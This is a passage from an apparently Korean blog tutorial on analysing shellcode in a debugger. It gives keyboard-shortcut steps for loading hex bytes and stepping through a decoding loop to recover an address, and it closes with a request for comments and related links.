6. 지금부터가 중요합니다. 백업파일을 적용했으나 변한것이 없을겁니다~ 따라서 다음과 같이 해주세요. 1) Home키를 눌러 맨 위로 올라감 2) Shift + End 키를 이용해서 모든 코드를 블럭처리 3) 마무리로 Alt + BackSpace를 누루면 코드 맨 위에 Hex값을 복사 4) 다시 Home키를 눌러 맨 위로 올라가서 Ctrl+* 로 시작지점을 변경

7. 이제 부터는 일반적인 디버깅 시작~~ Loop 부분이 종료 되면 원하던 주소값을 얻을 수 있습니다.

쉽게 설명한다고 썻는데;; 보는사람입장에서는 어떻게 보일지 모르겠네요 ㅎㅎ

궁금한점이나 안되는 점이 있으시면 댓글로 써주세요^^

So you have finished reading the 쉘 코드 분석 topic article, if you find this article useful, please share it. Thank you very much. See more: 쉘코드 만들기, Malzilla by bobby

Leave a Comment